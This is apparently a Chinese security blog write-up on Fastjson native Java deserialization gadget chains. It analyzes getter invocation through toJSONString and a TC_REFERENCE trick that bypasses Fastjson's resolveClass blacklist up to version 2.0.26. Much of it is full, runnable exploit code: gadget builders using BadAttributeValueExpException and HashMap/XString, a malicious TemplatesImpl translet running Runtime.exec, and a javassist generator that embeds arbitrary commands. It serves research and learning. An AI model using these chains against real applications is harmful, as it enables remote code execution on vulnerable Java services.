**Fastjson原生反序列化是一个Gadget**:它本身不是入口点,而是在Java原生反序列化过程中被利用的一个组件 2. **需要真正的反序列化漏洞**:应用必须存在接受和处理Java序列化数据的功能 3. **Fastjson只是被动触发**:JSONArray/JSONObject作为序列化数据的一部分,在反序列化过程中被恢复,然后触发恶意调用链 4. **攻击面扩大**:即使应用禁用了fastjson的AutoType,如果有原生反序列化入口,仍然可能被攻击 所以答案是:**必须是常规的Java反序列化入口点**,fastjson的原生反序列化只是在这些入口点中被利用的一个gadget chain。
下文会做个简单的分析和梳理
更详细的write里的getter调用细节感兴趣的师傅可以参考
https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://blog.csdn.net/dlf123321/article/details/134197379
利用与限制 Fastjson1版本小于等于1.2.48
Fastjson2目前通杀(目前最新版本2.0.26)
分析 既然涉及原生反序列化利用,我们需要在fastjson包中寻找实现了Serializable
接口的类。经过筛选,主要有两个可用的类:JSONArray
和JSONObject
,这两个类在原生反序列化中的利用方式基本相同,这里以JSONArray
为例进行分析。
通过IDEA可以观察到,虽然JSONArray
实现了Serializable
接口,但它本身并没有重写readObject
方法,其父类JSON
同样如此。因此,我们需要寻找一个”中转点”——通过其他类的readObject
方法来触发JSONArray
或JSON
类中的特定方法,从而构成完整的利用链。
关键在于JSON
类的toString
方法会调用toJSONString
方法,而这个调用链对我们来说并不陌生。在使用JSON.parse()
触发getter方法时,常用的手法就是通过JSONObject
嵌套恶意payload来实现。
因此,利用思路就很清晰了:找到合适的入口点触发toString
→ toJSONString
→ getter方法 的调用链,最终实现代码执行。
大概利用思路: toString
→ toJSONString
→ getter方法的调用链
我们还需要一个readobject点去触发toString函数
如果学过cc链
那么我们可以直接去使用BadAttributeValueExpException
没学过也可以去看看我博客下的BadAttributeValueExpException文章分析
至于这里是调用getter方法
那么调用点就需要是一个get+methodname的函数
TestTemplatesImpl恰好就可以通过getOutputProperties()去作为触发点的入口
那么整条链子就连接起来了
1 2 3 4 5 BadAttributeValueExpException.readObject-> JSON.toString-> JSON.toJSONString-> (new JSONSerializer(out)).write(this)->//write里会实现对get的调用 TestTemplatesImpl->getOutputProperties()
1 2 3 4 5 6 7 8 BadAttributeValueExpException.readObject() → JSONArray.toString() → JSON.toJSONString(this) → SerializeWriter.write() → ASM生成的JavaBeanSerializer.write() → entity.getOutputProperties() // ← 真正的getter调用 → TemplatesImpl加载恶意字节码 → 执行恶意代码
write函数中getter调用的详细分析 第一步:序列化器查找
当JSONArray调用toString
方法时,会进一步调用toJSONString
方法
FastJSON需要将对象序列化为JSON字符串,通过ObjectSerializer
类的write
方法处理对象属性的序列化
首先检查serializers
这个HashMap中是否存在该类型的默认序列化器映射关系
默认映射主要包括基本数据类型、包装类、集合类等,但大多数自定义类都不在默认映射中
第二步:创建Bean序列化器
如果没有找到默认映射,调用createJavaBeanSerializer
创建专用的ObjectSerializer
对象
这个过程的关键步骤:
调用TypeUtils.buildBeanInfo(clazz, null, propertyNamingStrategy, fieldBased)
提取类的Bean信息
BeanInfo提取会识别类中所有具有getter方法的属性 ,并将这些属性信息封装成FieldInfo对象
只有拥有getter方法的字段才会被包含在后续的序列化过程中
第三步:ASM动态代码生成与getter调用
createJavaBeanSerializer
最终委托给createASMSerializer
处理
通过ASM框架动态创建一个专门的序列化器类来提升性能
在ASMSerializerFactory.generateWriteMethod中:
关于这个write的getter调用的分析除了看原文章我还拷打了几次ai把一些感觉还不错的ai稍微copy到下面了.在最后可以看 第一条利用链和poc 1 2 3 4 5 6 7 8 BadAttributeValueExpException.readObject() → JSONArray.toString() → JSON.toJSONString(this) → SerializeWriter.write() → ASM生成的JavaBeanSerializer.write() → entity.getOutputProperties() // ← 真正的getter调用 → TemplatesImpl加载恶意字节码 → 执行恶意代码
poc取自https://infernity.top/2025/02/16/fastjson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E8%A7%A6%E5%8F%91toString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Main { public static void main (String[] args) throws Exception{ byte [] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode(); Templates templates = (Templates) getTemplates(bytes); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException BadAttributeValueExpException = new BadAttributeValueExpException (null ); setValue(BadAttributeValueExpException,"val" , jsonArray); String ser = serialize(BadAttributeValueExpException); unserialize(ser); } public static String serialize (Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(obj); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } public static void unserialize (String exp) throws IOException,ClassNotFoundException{ byte [] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } public static Object getTemplates (byte [] bytes) throws Exception { Templates templates = new TemplatesImpl (); setValue(templates, "_bytecodes" , new byte [][]{bytes}); setValue(templates, "_name" , "Infernity" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class calc extends com .sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{ static { try { Process calc = Runtime.getRuntime().exec("calc.exe" ); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
第二条利用链和poc 这里是通过Hessian反序列化利用链的前半段去触发tostring的其他部分是跟第一条利用链一样的
HashMap.readObject() -> XString.equals() -> 任意调 toString()
1 2 3 4 5 6 7 8 9 HashMap.readObject() → XString.equals → JSONArray.toString() → JSON.toJSONString(this) → SerializeWriter.write() → ASM生成的JavaBeanSerializer.write() → entity.getOutputProperties() // ← 真正的getter调用 → TemplatesImpl加载恶意字节码 → 执行恶意代码
poc依旧取自infernity神
https://infernity.top/2025/02/16/fastjson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#poc2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.ClassPool;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Main { public static void main (String[] args) throws Exception{ byte [] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode(); Templates templates = (Templates) getTemplates(bytes); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); XString xString = new XString ("Infernity" ); String ser = serialize(HashMap_to_anyequals_to_anytoString(xString,jsonArray)); unserialize(ser); } public static Object HashMap_to_anyequals_to_anytoString (Object anyobj_equals,Object anyobj_toString) throws Exception{ HashMap hashMap1 = new HashMap (); HashMap hashMap2 = new HashMap (); hashMap1.put("yy" , anyobj_toString); hashMap1.put("zZ" , anyobj_equals); hashMap2.put("yy" , anyobj_equals); hashMap2.put("zZ" , anyobj_toString); HashMap map = makeMap(hashMap1, hashMap2); return map; } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> map = new HashMap <>(); setValue(map, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(map, "table" , tbl); return map; } public static String serialize (Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(obj); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } public static void unserialize (String exp) throws IOException,ClassNotFoundException{ byte [] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } public static Object getTemplates (byte [] bytes) throws Exception { Templates templates = new TemplatesImpl (); setValue(templates, "_bytecodes" , new byte [][]{bytes}); setValue(templates, "_name" , "Infernity" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
fastjson原生反序列化:(>=1.2.49&<=2.0.26) 版本:<=2.0.26通杀(2.0.27修复了)
这里先贴师傅的一段话看个大概先后面我会做更深入的解读和讲解(适合基础偏弱的(好吧我就是偏弱的)
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/
之前提到了从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法,
在其SecureObjectInputStream
类当中重写了resolveClass
,通过调用了checkAutoType
方法做类的检查,这样真的是安全的么?
resolveClass的调用 乍一看,这样的写法很安全,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream
处理时,触发resolveClass实现对恶意类的拦截
这时候反序列化的调用过程是这样的,就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过
不安全的反序列化过程 1 2 3 ObjectInputStream -> readObject xxxxxx(省略中间过程) SecureObjectInputStream -> readObject -> resolveClass
安全的反序列化过程 多提一嘴,平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的,因此压力再次给到了开发身上
1 TestInputStream -> readObject -> resolveClass
为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0
调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException("writing aborted", ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true); bin.peek(); // force header read throw new OptionalDataException( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException( "unexpected block data"); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException(true); } else { throw new StreamCorruptedException( "unexpected end of block data"); } default: throw new StreamCorruptedException( String.format("invalid type code: %02X", tc)); }
再往后,跳过一些细节过程,上面的不同case中大部分类都会最终调用readClassDesc
去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC
那么就会在readNonProxyDesc
中触发resolveClass
再回到上面这个switch分支的代码,不会调用readClassDesc
的分支有TC_NULL
、TC_REFERENCE
、TC_STRING
、TC_LONGSTRING
、TC_EXCEPTION
,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出
那么就只剩下了reference引用类型了
更深入的解读分析: 首先是这种不安全的写法 关键点就在于这里的xxxxx可能存在利用点让我们尝试绕过
这样就无法触发SecureObjectInputStream的readobject()
更好的和更常见的写法应该是
直接写一个继承类然后重写resolveclass的函数才对
Tc是什么 TC类似于一种序列化数据里的标签
除了常见在第五个字节
后续的如果还有什么数据的话都会出现这种类似于标签的东西
用来表明当前是一个数组?还是一个对象?还是一个字符串
还不太了解的师傅可以看看这个拷打ai的对话.如果有了解过的可以直接跳过这个代码块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 好的!我用一个非常简单的比喻来解释: ## 把序列化想象成"打包快递" ### 1. 什么是TC类型码? TC类型码就像**快递包裹上的标签**,告诉收件人里面装的是什么: ``` 📦 标签:[衣服] → TC_OBJECT (普通物品) 📦 标签:[书籍] → TC_STRING (字符串) 📦 标签:[易碎品] → TC_ARRAY (数组) 📦 标签:[重复件] → TC_REFERENCE (这个我之前寄过) ``` ### 2. 简单的例子 让我写一个超级简单的例子:## 关键理解 ### 1. TC类型码 = 包裹标签 想象你在网购: - 你买了一本书 → 快递员贴上"书籍"标签 - 你买了衣服 → 快递员贴上"衣服"标签 - 你又买了同样的书 → 快递员贴上"重复购买"标签 **TC类型码就是这些标签!** ### 2. 为什么有引用(TC_REFERENCE)? ``` 第一次发送:Person("小明") 包裹内容:[完整的Person对象数据] 标签:TC_OBJECT (0x73) 第二次发送:同一个Person("小明") 包裹内容:[指向第一个对象的编号,比如:#1] 标签:TC_REFERENCE (0x71) ``` 就像快递公司说:"这个我们之前送过,直接给你之前那个的复制品" ### 3. 安全问题在哪里? ```java // 安全检查员(resolveClass)的工作流程: if (标签 == "普通对象") { 检查这个对象是否安全 ✅ } else if (标签 == "引用") { 直接给你之前的对象,不检查 ❌ // 问题在这里! } ``` **攻击者的套路:** 1. 第一次发送恶意对象(想办法通过检查) 2. 第二次发送同一个恶意对象(但是用引用方式) 3. 第二次就绕过了安全检查! ### 4. 现实比喻 这就像: - 第一次你带了一把刀进地铁,保安检查了(假设通过了) - 第二次你说"我是刚才那个人,刀还是那把刀" - 保安说"好的,直接进去吧",不再检查 **这就是安全漏洞!** ## 总结 - **TC类型码** = 包裹上的标签,告诉程序里面是什么 - **TC_OBJECT** = "普通物品"标签 → 需要安全检查 - **TC_REFERENCE** = "重复物品"标签 → 跳过安全检查 - **攻击原理** = 利用"重复物品"标签绕过检查 这样理解了吗? 不对!第五个字节位置**不一定**是标签,其他地方也会有TC标签! 让我用更准确的例子来说明:## TC标签的真实位置规律 ### 1. Java序列化数据的基本结构 ``` [魔数] [版本] [数据内容...] AC ED 00 05 74 00 02 48 69 ↑ ↑ ↑ 2字节 2字节 这里开始才是真正的数据 ``` ### 2. 不同对象的TC位置示例 #### 简单字符串 "Hi": ``` 位置: 0 1 2 3 4 5 6 7 8 数据: AC ED 00 05 74 00 02 48 69 ↑ ↑ ↑ ↑ ↑ 魔数 TC_STRING长度 H i ``` **TC_STRING (0x74) 在位置 4** #### 普通对象: ``` 位置: 0 1 2 3 4 5 6 7 8 9 10 ... 数据: AC ED 00 05 73 72 00 06 50 65 72 ... ↑ ↑ ↑ 魔数 TC_OBJECT TC_CLASSDESC ``` **TC_OBJECT (0x73) 在位置 4,TC_CLASSDESC (0x72) 在位置 5** #### 数组: ``` 位置: 0 1 2 3 4 5 6 7 8 9 ... 数据: AC ED 00 05 75 72 00 13 [L 6A ... ↑ ↑ ↑ 魔数 TC_ARRAY TC_CLASSDESC ``` ### 3. 重要发现 1. **第4个位置(索引4)**通常是第一个TC类型码 2. **但不是唯一位置!**TC类型码会出现在很多地方 3. **复杂对象**会有多个TC类型码散布在不同位置 ### 4. 为什么会有多个TC标签? 想象一个复杂的包裹: ``` 📦 大包裹标签:TC_OBJECT (这是个对象) └── 📦 内部包裹1:TC_CLASSDESC (类描述信息) └── 📦 内部包裹2:TC_STRING (对象里的字符串属性) └── 📦 内部包裹3:TC_BLOCKDATA (其他数据) ``` ### 5. 实际例子解释 当你序列化一个Person对象时: ```java Person person = new Person("小明", 25); ``` 序列化数据可能是: ``` AC ED 00 05 // 固定头部 73 // TC_OBJECT (开始一个对象) 72 // TC_CLASSDESC (类描述符开始) 00 06 // 类名长度 50 65 72 73 6F 6E // "Person" ... // 更多类信息 74 // TC_STRING (字符串 "小明") 00 06 // 字符串长度 E5 B0 8F E6 98 8E // "小明" 的UTF-8编码 ... // 年龄等其他数据 ``` ### 总结 - **TC类型码不只在第5个字节!** - **它们散布在整个数据流中** - **每个TC标签标记一个新的数据结构** - **反序列化器按顺序读取这些标签来重建对象** 这就像拆一个套娃包裹,每一层都有自己的标签! //TC类型码简单示例 import java.io.*; public class SimpleTCExample { public static void main(String[] args) throws Exception { System.out.println("=== 简单理解TC类型码 ===\n"); // 例子1:发送一个字符串 System.out.println("1. 发送字符串 'Hello'"); sendAndReceive("Hello"); System.out.println("\n" + "=".repeat(50) + "\n"); // 例子2:发送一个对象 System.out.println("2. 发送一个Person对象"); Person person = new Person("小明"); sendAndReceive(person); System.out.println("\n" + "=".repeat(50) + "\n"); // 例子3:发送同一个对象两次(这里会出现引用) System.out.println("3. 发送同一个对象两次"); sendSameObjectTwice(); } // 模拟发送和接收过程 public static void sendAndReceive(Object obj) throws Exception { // 第1步:打包(序列化) System.out.println("📦 正在打包..."); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); byte[] packageData = baos.toByteArray(); // 第2步:查看包裹标签(TC类型码) System.out.println("🏷️ 包裹标签内容:"); showPackageLabel(packageData); // 第3步:拆包(反序列化) System.out.println("📪 正在拆包..."); ByteArrayInputStream bais = new ByteArrayInputStream(packageData); ObjectInputStream ois = new ObjectInputStream(bais); Object received = ois.readObject(); ois.close(); System.out.println("✅ 收到:" + received); } // 查看包裹上的标签(TC类型码) public static void showPackageLabel(byte[] data) { // Java序列化数据前4个字节是固定的头部 // 第5个字节开始才是我们关心的TC类型码 if (data.length > 4) { byte tc = data[4]; // 获取第一个TC类型码 System.out.println(" 标签代码:0x" + String.format("%02X", tc & 0xFF)); // 翻译标签含义 switch (tc) { case 0x74: // TC_STRING System.out.println(" 📝 标签含义:这是一个字符串"); System.out.println(" 📍 处理方式:直接读取字符串内容"); break; case 0x73: // TC_OBJECT System.out.println(" 👤 标签含义:这是一个普通对象"); System.out.println(" 📍 处理方式:需要检查对象类型 (调用resolveClass)"); break; case 0x71: // TC_REFERENCE System.out.println(" 🔗 标签含义:这是一个重复对象的引用"); System.out.println(" 📍 处理方式:直接找之前的对象 (不调用resolveClass)"); break; case 0x75: // TC_ARRAY System.out.println(" 📚 标签含义:这是一个数组"); System.out.println(" 📍 处理方式:需要检查数组类型 (调用resolveClass)"); break; default: System.out.println(" ❓ 其他类型的标签"); } } } // 演示同一对象发送两次的情况 public static void sendSameObjectTwice() throws Exception { Person person = new Person("小红"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); System.out.println("📦 第一次打包 Person对象..."); oos.writeObject(person); // 第一次:会写入完整对象数据 System.out.println("📦 第二次打包同一个 Person对象..."); oos.writeObject(person); // 第二次:只会写入引用 oos.close(); byte[] data = baos.toByteArray(); // 分析数据中的TC类型码 System.out.println("\n🔍 分析整个包裹的标签:"); analyzeTCCodes(data); // 拆包验证 System.out.println("\n📪 拆包验证:"); ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); Person person1 = (Person) ois.readObject(); Person person2 = (Person) ois.readObject(); System.out.println("第一个对象:" + person1); System.out.println("第二个对象:" + person2); System.out.println("是同一个对象吗?" + (person1 == person2)); // 注意:反序列化后不是同一个对象 ois.close(); } // 分析数据中所有的TC类型码 public static void analyzeTCCodes(byte[] data) { for (int i = 0; i < data.length; i++) { byte b = data[i]; if (b == 0x73) { System.out.println("位置 " + i + ": 发现 TC_OBJECT (0x73) - 普通对象标签"); } else if (b == 0x71) { System.out.println("位置 " + i + ": 发现 TC_REFERENCE (0x71) - 引用标签 ⭐"); } else if (b == 0x72) { System.out.println("位置 " + i + ": 发现 TC_CLASSDESC (0x72) - 类描述标签"); } } } } // 简单的测试类 class Person implements Serializable { private String name; public Person(String name) { this.name = name; } @Override public String toString() { return "Person{name='" + name + "'}"; } }
大部分类型码都会指向调用resolveclass的分析 上面的不同case中大部分类都会最终调用readClassDesc
去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC
那么就会在readNonProxyDesc
中触发resolveClass
1 2 3 4 5 readOrdinaryObject() → 读取对象头信息 → readClassDesc() // 需要获取类描述符 → readNonProxyDesc() 或 readProxyDesc() → resolveClass() // 最终调用
1 2 3 4 readArray() → readClassDesc() // 数组也需要类描述符 → readNonProxyDesc() → resolveClass() // 最终调用
但是并不是所有的都会触发resolveClass() resolveclass是拿过来做黑名单的类似于waf通过上文可知
我们只需要做到类型最终不会触发resolveclass那么最终就可以实现绕过waf加载我们想要的类
绕过resolveClass的类型码
以下类型码不会调用resolveClass :
TC_NULL
: 空值
TC_REFERENCE
: 引用类型(关键)
TC_STRING/TC_LONGSTRING
: 字符串
TC_EXCEPTION
: 异常对象
引用类型是什么 看一段小代码就立马能看懂了(如果上面都有看的话)
1 2 3 4 5 6 A a = new A(); B b1 = new B(a); B b2 = new B(a); // 这里 a 被重复使用 ObjectOutputStream.writeObject(b1); ObjectOutputStream.writeObject(b2); // 序列化 a 第二次时会写入 TC_REFERENCE
所以我们这次只需要重复写入同一个对象的时候就会使用TC_REFERENCE
那么就能实现绕过resolveclass()
也就是重复写入两个templatesImpl这个恶意类两次即可
1 2 3 4 ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(templates); writeObjects(arrayList);
在一个数组里写入同一个对象的时候会从hash表中找到映射
然后通过存在映射就把重复的对象用引用类型写入
当我们写入对象时,会在handles
这个哈希表中建立从对象到引用的映射
当再次写入同一对象时,在handles
这个hash表中查到了映射
那么就会通过writeHandle
将重复对象以引用类型写入
因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路
1 2 3 4 5 6 7 8 9 10 11 TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator"); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray); arrayList.add(bd); WriteObjects(arrayList);
简单梳理下
序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles
这个hash表中查到了映射,后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream
,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。
poc:如下(原本是自己拼拼凑凑的没看到符合自己想法的完整poc,后面发现infernity师傅也写了,只不过只贴了main部分的,下面是完整版的)
恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.hantest.fastjsonreadobject; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class calc extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{ static { try { Process calc = Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
poc map: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package org.hantest.fastjsonreadobject; import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class hanfastjsonmappoc { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); } //提供需要序列化的类,返回base64后的字节码 public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } //提供base64后的字节码,进行反序列化 public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } //生成一个templates,参数为需要加载的恶意类字节码 public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "Infernity"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } public static void main(String[] args) throws Exception{ byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode(); Templates templates = (Templates) getTemplates(bytes); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); String ser = serialize(hashMap); System.out.println(ser); unserialize(ser); } }
